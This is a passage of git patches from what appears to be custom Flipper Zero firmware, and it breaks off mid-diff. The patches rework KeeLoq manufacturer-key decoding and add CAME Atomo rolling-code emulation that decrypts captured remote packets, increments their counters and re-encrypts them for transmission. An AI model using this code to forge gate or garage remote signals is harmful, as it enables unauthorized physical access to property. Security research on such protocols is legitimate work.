insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 08aecc5a3..92262c22c 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -79,7 +79,7 @@ void* subghz_protocol_encoder_came_atomo_alloc(SubGhzEnvironment* environment) { instance->generic.protocol_name = instance->base.protocol->name; instance->encoder.repeat = 10; - instance->encoder.size_upload = 256; + instance->encoder.size_upload = 4096; //approx max buffer size instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); instance->encoder.is_runing = false; return instance; From 35d752105f32dbe4ca189edadedf463772c7998e Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 10 Jun 2022 03:34:42 +0300 Subject: [PATCH 302/461] extend receiver temp memory to 99 records --- applications/subghz/subghz_history.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/subghz/subghz_history.c b/applications/subghz/subghz_history.c index a8f86eecb..51149f7be 100644 --- a/applications/subghz/subghz_history.c +++ b/applications/subghz/subghz_history.c @@ -5,7 +5,7 @@ #include #include -#define SUBGHZ_HISTORY_MAX 50 +#define SUBGHZ_HISTORY_MAX 99 #define TAG "SubGhzHistory" typedef struct { From 1f4020240bcc598c1957fc3c1f2acb5362207fd8 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 11 Jun 2022 22:53:23 +0300 Subject: [PATCH 303/461] KeeLoq protocol rework. Atomo emulation beta-test. Fix critical issue with keeloq manufacturer name random change. Now you can emulate any manufacturer system with proper key handling. Came Atomo parcel counter increasing and emulation. Beta test (need rework signal header and make button counter cycle array for encoder). --- .../scenes/subghz_scene_receiver_info.c | 2 + .../subghz/scenes/subghz_scene_transmitter.c | 2 + lib/subghz/protocols/keeloq.c | 152 ++++++++++++++++++ lib/subghz/protocols/keeloq.h | 2 + 4 files changed, 158 insertions(+) diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index 950ea0d24..19b9b69ef 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -1,6 +1,7 @@ #include "../subghz_i.h" #include "../helpers/subghz_custom_event.h" #include +#include void subghz_scene_receiver_info_callback(GuiButtonType result, InputType type, void* context) { furi_assert(context); @@ -191,4 +192,5 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) void subghz_scene_receiver_info_on_exit(void* context) { SubGhz* subghz = context; widget_reset(subghz->widget); + keeloq_reset_mfname(); } diff --git a/applications/subghz/scenes/subghz_scene_transmitter.c b/applications/subghz/scenes/subghz_scene_transmitter.c index b8b22749c..070399672 100644 --- a/applications/subghz/scenes/subghz_scene_transmitter.c +++ b/applications/subghz/scenes/subghz_scene_transmitter.c @@ -1,6 +1,7 @@ #include "../subghz_i.h" #include "../views/transmitter.h" #include +#include void subghz_scene_transmitter_callback(SubGhzCustomEvent event, void* context) { furi_assert(context); @@ -109,4 +110,5 @@ bool subghz_scene_transmitter_on_event(void* context, SceneManagerEvent event) { void subghz_scene_transmitter_on_exit(void* context) { SubGhz* subghz = context; subghz->state_notifications = SubGhzNotificationStateIDLE; + keeloq_reset_mfname(); } diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index ad4be111b..308c48720 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -81,6 +81,12 @@ const SubGhzProtocol subghz_protocol_keeloq = { .encoder = &subghz_protocol_keeloq_encoder, }; +static const char* mfname; + +void keeloq_reset_mfname() { + mfname = ""; +} + /** * Analysis of received data * @param instance Pointer to a SubGhzBlockGeneric* instance @@ -379,6 +385,7 @@ void subghz_protocol_decoder_keeloq_reset(void* context) { furi_assert(context); SubGhzProtocolDecoderKeeloq* instance = context; instance->decoder.parser_step = KeeloqDecoderStepReset; + mfname = ""; } void subghz_protocol_decoder_keeloq_feed(void* context, bool level, uint32_t duration) { @@ -513,6 +520,9 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( uint8_t btn = (uint8_t)(fix >> 28); uint32_t decrypt = 0; uint64_t man; + int res = 0; + +if(strcmp(mfname, "") == 0) { for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { @@ -522,6 +532,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } break; @@ -532,6 +543,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } break; @@ -541,6 +553,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } break; @@ -550,6 +563,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } break; @@ -558,6 +572,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } // Check for mirrored man @@ -570,6 +585,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } //########################### @@ -579,6 +595,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } @@ -587,6 +604,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } @@ -596,6 +614,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } @@ -604,6 +623,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } @@ -613,6 +633,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } @@ -621,12 +642,143 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } break; } } + } else { + + for + M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { + res = strcmp(string_get_cstr(manufacture_code->name), mfname); + if(res == 0) { + switch(manufacture_code->type) { + case KEELOQ_LEARNING_SIMPLE: + // Simple Learning + decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + break; + case KEELOQ_LEARNING_NORMAL: + // Normal Learning + // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 + man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + break; + case KEELOQ_LEARNING_SECURE: + man = subghz_protocol_keeloq_common_secure_learning( + fix, instance->seed, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + break; + case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: + man = subghz_protocol_keeloq_common_magic_xor_type1_learning( + fix, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + break; + case KEELOQ_LEARNING_UNKNOWN: + // Simple Learning + decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + // Check for mirrored man + uint64_t man_rev = 0; + uint64_t man_rev_byte = 0; + for(uint8_t i = 0; i < 64; i += 8) { + man_rev_byte = (uint8_t)(manufacture_code->key >> i); + man_rev = man_rev | man_rev_byte << (56 - i); + } + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + //########################### + // Normal Learning + // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 + man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + // Check for mirrored man + man = subghz_protocol_keeloq_common_normal_learning(fix, man_rev); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + + // Secure Learning + man = subghz_protocol_keeloq_common_secure_learning( + fix, instance->seed, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + + // Check for mirrored man + man = subghz_protocol_keeloq_common_secure_learning(fix, instance->seed, man_rev); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + + // Magic xor type1 learning + man = subghz_protocol_keeloq_common_magic_xor_type1_learning( + fix, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + + // Check for mirrored man + man = subghz_protocol_keeloq_common_magic_xor_type1_learning(fix, man_rev); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + break; + } + } + } + } + *manufacture_name = "Unknown"; instance->cnt = 0; diff --git a/lib/subghz/protocols/keeloq.h b/lib/subghz/protocols/keeloq.h index 9750439fe..9be299bd8 100644 --- a/lib/subghz/protocols/keeloq.h +++ b/lib/subghz/protocols/keeloq.h @@ -11,6 +11,8 @@ extern const SubGhzProtocolDecoder subghz_protocol_keeloq_decoder; extern const SubGhzProtocolEncoder subghz_protocol_keeloq_encoder; extern const SubGhzProtocol subghz_protocol_keeloq; +void keeloq_reset_mfname(); + /** * Allocate SubGhzProtocolEncoderKeeloq. * @param environment Pointer to a SubGhzEnvironment instance From b9761b424ae0ff096364a84b73a1eda90dd4eba8 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 11 Jun 2022 23:02:37 +0300 Subject: [PATCH 304/461] Update CHANGELOG.md --- CHANGELOG.md | 34 ++++++++++++++++++++-------------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a5055dd62..c0424e210 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,17 +1,23 @@ ### New Update -* Added Spectrum analyzer -* CAME Atomo - Save & Send - beta test, proper work is not guaranteed -* Removed similar frequencies +* KeeLoq protocol rework. +* Came Atomo emulation beta-test. +* Fix critical issue with keeloq manufacturer name random change: +* now you can emulate any manufacturer system with proper key handling. +* Came Atomo parcel counter increasing and emulation. Beta test: +* (need rework signal header and make button counter cycle array for encoder). #### Previous changes -* 0.59.1 Release -* Merged latest SubGhz fixes -* Added disclaimer in about pages -* Added 345Mhz support -* Merged latest big changes from official repo -* Moved Games to "Games" Menu -* Added UniversalRF Remix app -* Updated Readme -* files for microSD card now included with build, copy them if you installing fw by using .dfu -* Updated Icons +* Added Spectrum analyzer. +* CAME Atomo - Save & Send - beta test, proper work is not guaranteed. +* Removed similar frequencies. +* 0.59.1 Release. +* Merged latest SubGhz fixes. +* Added disclaimer in about pages. +* Added 345Mhz support. +* Merged latest big changes from official repo. +* Moved Games to "Games" Menu. +* Added UniversalRF Remix app. +* Updated Readme. +* files for microSD card now included with build, copy them if you installing fw by using .dfu. +* Updated Icons. -P.S. We are working on fixes of some subghz stuff \ No newline at end of file +P.S. We are working on fixes of some subghz stuff. \ No newline at end of file From 4b22b122af4baa8edbe442aa6eaa3d81fd8493a9 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Sun, 12 Jun 2022 05:42:37 +0300 Subject: [PATCH 305/461] update UniRF Remix app --- .gitignore | 1 + applications/unirfremix/unirfremix_app.c | 22 +++++++++++++++++----- 2 files changed, 18 insertions(+), 5 deletions(-) diff --git a/.gitignore b/.gitignore index 6577101d6..ee7928647 100644 --- a/.gitignore +++ b/.gitignore @@ -39,3 +39,4 @@ dist # kde .directory +null.d diff --git a/applications/unirfremix/unirfremix_app.c b/applications/unirfremix/unirfremix_app.c index dd448fa3a..ff0a95602 100644 --- a/applications/unirfremix/unirfremix_app.c +++ b/applications/unirfremix/unirfremix_app.c @@ -167,8 +167,7 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { int label_len = 12; //check that map file exists - if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) - { + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { FURI_LOG_I(TAG, "Could not open MAP file %s", string_get_cstr(file_name)); app->file_result = 1; } @@ -277,6 +276,9 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { //File definitions are done. //File checks will follow after label assignment in order to close the universal_rf_map file without the need to reopen it again. + //File definitions are done. + //File checks will follow after label assignment in order to close the universal_rf_map file without the need to reopen it again. + //Label Assignment/Check Start //assign variables to values within map file @@ -564,6 +566,9 @@ static void unirfremix_send_signal( } static void unirfremix_process_signal(UniRFRemix* app, string_t signal) { + osMutexRelease(app->model_mutex); + view_port_update(app->view_port); + FURI_LOG_I(TAG, "signal = %s", string_get_cstr(signal)); if(strlen(string_get_cstr(signal)) > 12) { @@ -602,7 +607,7 @@ static void unirfremix_process_signal(UniRFRemix* app, string_t signal) { static void render_callback(Canvas* canvas, void* ctx) { UniRFRemix* app = ctx; - furi_check(osMutexAcquire(app->model_mutex, 25) == osOK); + furi_check(osMutexAcquire(app->model_mutex, osWaitForever) == osOK); //setup different canvas settings if(app->file_result == 1) { @@ -694,7 +699,7 @@ UniRFRemix* unirfremix_alloc() { app->model_mutex = osMutexNew(NULL); - app->input_queue = osMessageQueueNew(1, sizeof(InputEvent), NULL); + app->input_queue = osMessageQueueNew(32, sizeof(InputEvent), NULL); app->view_port = view_port_alloc(); view_port_draw_callback_set(app->view_port, render_callback, app); @@ -759,6 +764,10 @@ int32_t unirfremix_app(void* p) { app->repeat = 1; app->button = 0; + //refresh screen to update variables before processing main screen or error screens + osMutexRelease(app->model_mutex); + view_port_update(app->view_port); + //input detect loop start InputEvent input; while(1) { @@ -892,6 +901,9 @@ int32_t unirfremix_app(void* p) { view_port_update(app->view_port); } } else { + //refresh screen to update variables before processing main screen or error screens + view_port_update(app->view_port); + InputEvent input; while(1) { furi_check(osMessageQueueGet(app->input_queue, &input, NULL, osWaitForever) == osOK); @@ -933,4 +945,4 @@ int32_t unirfremix_app(void* p) { unirfremix_free(app); return 0; -} \ No newline at end of file +} From 1413f8e34f16346f5958d081452e0b9cc64e48f5 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 12 Jun 2022 23:33:05 +0300 Subject: [PATCH 306/461] Came Atomo emulation improvements + clean-up a little --- .../subghz/scenes/subghz_scene_set_seed.c | 1 - .../subghz/scenes/subghz_scene_set_seed_bft.c | 1 - lib/subghz/protocols/came_atomo.c | 124 +++++++++--------- lib/subghz/protocols/faac_slh.c | 9 +- lib/subghz/protocols/keeloq.c | 6 +- 5 files changed, 66 insertions(+), 75 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index d98e08c55..51bb1c74b 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -61,7 +61,6 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { } flipper_format_write_hex(subghz->txrx->fff_data, "Seed", seed_data, sizeof(uint32_t)); - FURI_LOG_I(TAG, "SEED: %8X\n", seed); generated_protocol = true; } else { diff --git a/applications/subghz/scenes/subghz_scene_set_seed_bft.c b/applications/subghz/scenes/subghz_scene_set_seed_bft.c index d6c013686..723c352dc 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed_bft.c +++ b/applications/subghz/scenes/subghz_scene_set_seed_bft.c @@ -61,7 +61,6 @@ bool subghz_scene_set_seed_bft_on_event(void* context, SceneManagerEvent event) } flipper_format_write_hex(subghz->txrx->fff_data, "Seed", seed_data, sizeof(uint32_t)); - FURI_LOG_I(TAG, "SEED: %8X\n", seed); generated_protocol = true; } else { diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 92262c22c..7ddbb1592 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -133,60 +133,56 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC ManchesterEncoderResult result; instance->generic.cnt++; - FURI_LOG_I(TAG, "parcel counter: %4X\n\n", instance->generic.cnt); - - uint8_t pack[8] = {}; - pack[0] = (instance->generic.data_2 >> 56); pack[1] = (instance->generic.cnt >> 8); - pack[2] = (instance->generic.cnt & 0xFF); pack[3] = ((instance->generic.data_2 >> 32) & 0xFF); - pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); - pack[6] = ((instance->generic.data_2 >> 8) & 0xFF); pack[7] = (instance->generic.data_2 & 0xFF); - - FURI_LOG_I(TAG, "encoder prepared: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", - pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); - - atomo_encrypt(pack); - uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; - uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; - instance->generic.data = (uint64_t)hi << 32 | lo; - FURI_LOG_I(TAG, "encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", - pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); - - instance->generic.data ^= 0xFFFFFFFFFFFFFFFF; - instance->generic.data >>= 4; - instance->generic.data = (uint64_t)0x1 << 60 | instance->generic.data; - hi = instance->generic.data >> 32; - lo = instance->generic.data & 0xFFFFFFFF; - FURI_LOG_I(TAG, "inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", - (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), - (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); //Send header instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long * 15); instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60); - - instance->encoder.upload[index++] = level_duration_make(true, 1); - - for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { - if(!manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result)) { - instance->encoder.upload[index++] = - subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); - manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result); - } - instance->encoder.upload[index++] = - subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); - } - instance->encoder.upload[index] = subghz_protocol_encoder_came_atomo_add_duration_to_upload( - manchester_encoder_finish(&enc_state)); - if(level_duration_get_level(instance->encoder.upload[index])) { - index++; - } - //Send pause - instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_delta * 272); -instance->encoder.size_upload = index; + for(uint8_t i = 0; i < 8; i++) { + + uint8_t pack[8] = {}; + pack[0] = (instance->generic.data_2 >> 56); pack[1] = (instance->generic.cnt >> 8); + pack[2] = (instance->generic.cnt & 0xFF); pack[3] = ((instance->generic.data_2 >> 32) & 0xFF); + pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); + pack[6] = ((instance->generic.data_2 >> 8) & 0xFF); pack[7] = (instance->generic.data_2 & 0xFF); + + if (pack[0] == 0x7F) { + pack[0] = 0; + } else { + pack[0] += (i+1); + } + + atomo_encrypt(pack); + uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; + uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; + instance->generic.data = (uint64_t)hi << 32 | lo; + + instance->generic.data ^= 0xFFFFFFFFFFFFFFFF; + instance->generic.data >>= 4; + instance->generic.data = (uint64_t)0x1 << 60 | instance->generic.data; + hi = instance->generic.data >> 32; + lo = instance->generic.data & 0xFFFFFFFF; + + instance->encoder.upload[index++] = level_duration_make(true, 1); + + for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { + if(!manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result)) { + instance->encoder.upload[index++] = subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); + manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result); + } + instance->encoder.upload[index++] = subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); + } + instance->encoder.upload[index] = subghz_protocol_encoder_came_atomo_add_duration_to_upload(manchester_encoder_finish(&enc_state)); + if(level_duration_get_level(instance->encoder.upload[index])) { + index++; + } + //Send pause + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_delta * 272); + } + instance->encoder.size_upload = index; } bool subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) { @@ -366,7 +362,8 @@ void subghz_protocol_decoder_came_atomo_feed(void* context, bool level, uint32_t */ static void subghz_protocol_came_atomo_remote_controller( SubGhzBlockGeneric* instance) { - /* + /* + * ***SkorP ver.*** * 0x1fafef3ed0f7d9ef * 0x185fcc1531ee86e7 * 0x184fa96912c567ff @@ -417,37 +414,40 @@ static void subghz_protocol_came_atomo_remote_controller( * 0x931dfb16c0b1 ^ 0xXXXXXXXXXXXXXXXX = 0xEF3ED0F7D9EF * 0xEF3 ED0F7D9E F => 0xEF3 - CNT, 0xED0F7D9E - SN, 0xF - key * + * ***Eng1n33r ver. (actual)*** + * 0x1FF08D9924984115 - received data + * 0x00F7266DB67BEEA0 - inverted data + * 0x0501FD0000A08300 - decrypted data, + * where: 0x05 - Button hold-cycle counter (8-bit, from 0 to 0x7F) + * 0x01FD - Parcel counter (normal 16-bit counter) + * 0x0000A083 - Serial number (32-bit) + * 0x0 - Button code (4-bit, 0x0 - #1 left-up; 0x2 - #2 right-up; 0x4 - #3 left-down; 0x6 - #4 right-down) + * 0x0 - Last zero nibble * */ - uint32_t hi = instance->data >> 32; - uint32_t lo = instance->data & 0xFFFFFFFF; - FURI_LOG_I(TAG, "received data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", - (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), - (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); + instance->data ^= 0xFFFFFFFFFFFFFFFF; instance->data <<= 4; - hi = instance->data >> 32; - lo = instance->data & 0xFFFFFFFF; - FURI_LOG_I(TAG, "inverted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", - (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), - (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); + uint8_t pack[8] = {}; pack[0] = (instance->data >> 56); pack[1] = ((instance->data >> 48) & 0xFF); pack[2] = ((instance->data >> 40) & 0xFF); pack[3] = ((instance->data >> 32) & 0xFF); pack[4] = ((instance->data >> 24) & 0xFF); pack[5] = ((instance->data >> 16) & 0xFF); pack[6] = ((instance->data >> 8) & 0xFF); pack[7] = (instance->data & 0xFF); + atomo_decrypt(pack); - FURI_LOG_I(TAG, "decrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", - pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); + instance->cnt_2 = pack[0]; instance->cnt = (uint16_t)pack[1] << 8 | pack[2]; instance->serial = (uint32_t)(pack[3]) << 24 | pack[4] << 16 | pack[5] << 8 | pack[6]; + uint8_t btn_decode = (pack[7] >> 4); if(btn_decode == 0x0) {instance->btn = 0x1;} if(btn_decode == 0x2) {instance->btn = 0x2;} if(btn_decode == 0x4) {instance->btn = 0x3;} if(btn_decode == 0x6) {instance->btn = 0x4;} - hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; - lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; + + uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; + uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; instance->data_2 = (uint64_t)hi << 32 | lo; } diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index b50ff949d..51e556706 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -137,7 +137,6 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst switch(manufacture_code->type) { case KEELOQ_LEARNING_FAAC: //FAAC Learning - FURI_LOG_I(TAG, "seed gen data = %8X", instance->generic.seed); man = subghz_protocol_keeloq_common_faac_learning(instance->generic.seed, manufacture_code->key); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; @@ -238,7 +237,6 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* break; } instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; - FURI_LOG_I(TAG, "encoder seed = %8X", instance->generic.seed); subghz_protocol_faac_slh_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); @@ -397,7 +395,6 @@ static void subghz_protocol_faac_slh_check_remote_controller SubGhzKeystore* keystore, const char** manufacture_name) { - FURI_LOG_I(TAG, "seed check = %8X", instance->seed); uint32_t code_fix = instance->data >> 32; uint32_t code_hop = instance->data & 0xFFFFFFFF; instance->serial = code_fix >> 4; @@ -444,8 +441,7 @@ bool subghz_protocol_decoder_faac_slh_serialize( FURI_LOG_E(TAG, "Unable to add Seed"); res = false; } - instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; - 